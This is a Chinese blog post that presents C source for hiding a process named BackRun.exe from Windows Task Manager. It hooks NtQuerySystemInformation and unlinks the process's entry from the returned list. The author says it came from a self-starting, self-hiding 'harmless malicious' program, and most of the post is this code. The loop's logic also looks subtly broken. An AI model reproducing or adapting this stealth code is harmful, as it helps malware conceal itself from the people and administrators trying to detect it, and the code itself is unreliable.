使用APIHOOK实现进程隐藏
时间:2022-06-17
本文章向大家介绍使用APIHOOK实现进程隐藏,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
今天翻出一些今年前写的代码。其中一个是09年,我帮一个读研的同学写的一个“无公害恶意”程序。大致要求就是要实现自启动和自我隐藏。我使用的都是些简单的技术,只是实现自我隐藏稍微让我花费了点时间写算法。其实这个算法也很简单,就是大学时候写的从一个单向链表中删除一个元素。(转载请指明出处)
APIhook我这儿就不说了,网上很多开源的代码,我只贴出“删除元素”的代码。
NTSTATUS WINAPI Hook_NtQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID lpSystemInformation,
ULONG ulSystemInformationLength,
PULONG pulReturnLength)
{
// 调用原始NtQuerySystemInformation
NTSTATUS nResult = ((PNtQuerySystemInformation)(PROC) g_NtQuerySystemInformation)
(SystemInformationClass, lpSystemInformation, ulSystemInformationLength, pulReturnLength);
if( 0 != nResult)
{
return nResult;
}
// 获取调用模块路径
WCHAR FilaPath[MAX_PATH] = {0};
GetModuleFileName( NULL, FilaPath, MAX_PATH );
// 获取调用模块的名称
WCHAR* pFileName= NULL;
pFileName = PathFindFileName(FilaPath);
// 这是计算进程名在结构体中的偏移
// typedef struct _SYSTEM_PROCESS_INFORMATION
// {
// ULONG dwNextEntryOffset; // 下段结构对象的偏移
// ULONG dwNumberOfThreads; // 线程数
// LARGE_INTEGER qSpareLi1;
// LARGE_INTEGER qSpareLi2;
// LARGE_INTEGER qSpareLi3;
// LARGE_INTEGER qCreateTime; // 创建时间
// LARGE_INTEGER qUserTime; // 用户态时间
// LARGE_INTEGER qKernelTime; // 内核态时间
// UNICODE_STRING ImageName; // 文件名(非路径)
// ……
// }
// 2 * sizeof(USHORT)是因为UNICODE_STRING得定义:
// typedef struct _UNICODE_STRING {
// USHORT Length;
// USHORT MaximumLength;
// PWSTR Buffer;
// } UNICODE_STRING;
DWORD dwnameoffset = 2 * sizeof(ULONG) + 6 * sizeof(LARGE_INTEGER) + 2 * sizeof(USHORT);
if ( 0 != wcscmp( pFileName, L"taskmgr.exe" ) ||
5 != SystemInformationClass )
{
//只是过滤windows任务管理器
return nResult;
}
LPVOID lpAddr = lpSystemInformation;
// 获取第二个数据块的偏移
ULONG ulNextEntryOffset = 0;
// 因为_SYSTEM_PROCESS_INFORMATION的第一个元素就是dwNextEntryOffset
memcpy_s( &ulNextEntryOffset, sizeof(ULONG), lpAddr, sizeof(ULONG) );
// 保存前一个数据块的“下个数据偏移”
ULONG ulBeforeNextEntryOffset = ulNextEntryOffset;
// 保存当前数据块的“下个数据偏移”
ULONG ulCurrentNextEntryOffset = ulNextEntryOffset;
// 保存后一个数据块的“下个数据偏移”
ULONG ulAfterNextEntryOffset = ulNextEntryOffset;
// 保存前一个数据块的起始地址
PCHAR pchBeforeAddr = (PCHAR) lpSystemInformation;
// 保存当前数据块的起始地址
PCHAR pchCurrentAddr = (PCHAR) lpSystemInformation;
// 保存下个数据块的起始地址
PCHAR pchNextAddr = pchCurrentAddr;
BOOL bidle = TRUE;
while( 0 != ulNextEntryOffset )
{
// 下个数据块的起始地址=当前数据块的地址+当前数据块的“下个数据偏移”
pchNextAddr = pchCurrentAddr + ulCurrentNextEntryOffset;
// 保存下个数据的“下个数据偏移”
memcpy_s( &ulNextEntryOffset, sizeof(ULONG), (PVOID)pchNextAddr, sizeof(ULONG) );
// 指向每个数据块中进程名的指针
PCHAR pchNameAddr = NULL;
// 过滤第一个进程system idle。这个进程在这个进程信息结构体中没有名字
if( FALSE != bidle )
{
// 获取指向进程名的指针
memcpy_s( &pchNameAddr, sizeof(PCHAR), (PVOID)(pchCurrentAddr+dwnameoffset), sizeof(PCHAR));
if( 0 == wcscmp( (PWCHAR)(pchNameAddr), L"BackRun.exe"))
{
// 让上个数据块的“下个数据偏移”=上个数据块的“下个数据偏移”+当前数据块的“下个数据偏移”,跳过当前数据块
DWORD dwGoToNextOffset = ulBeforeNextEntryOffset + ulCurrentNextEntryOffset;
SIZE_T size_nouse = 0;
// 将数据写入内存
if (!WriteProcessMemory(
GetCurrentProcess(),
(PVOID) pchBeforeAddr,
(PVOID) (&dwGoToNextOffset),
sizeof(DWORD),
&size_nouse
))
;
memcpy_s( &ulNextEntryOffset, sizeof(ULONG), pchNextAddr, sizeof(ULONG) );
}
}
else
{
bidle = FALSE;
}
pchBeforeAddr = pchCurrentAddr;
ulBeforeNextEntryOffset = ulCurrentNextEntryOffset;
pchCurrentAddr = pchNextAddr;
ulCurrentNextEntryOffset = ulNextEntryOffset;
}
// Return the result back to the caller
return nResult;
}
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Android自定义View绘制彩色圆弧
- android canvas使用line画半圆
- 说说Android的UI刷新机制的实现
- Android仿直播类app赠送礼物功能
- android自定义imageview实现圆角图片
- 基于android实现五子棋开发
- Android Fragment的静态注册和动态注册创建步骤
- Android从Fragment跳转到其他Activity的简单实例
- Android7.0以上Uri转路径的方法实现(已验证)
- Android studio实现简单计算器
- Android 自定义LayoutManager实现花式表格
- android studio编译jar包或者aar包的方法教程详解
- Android实现屏幕录制功能
- Android实现扫描二维码功能
- android实现录屏功能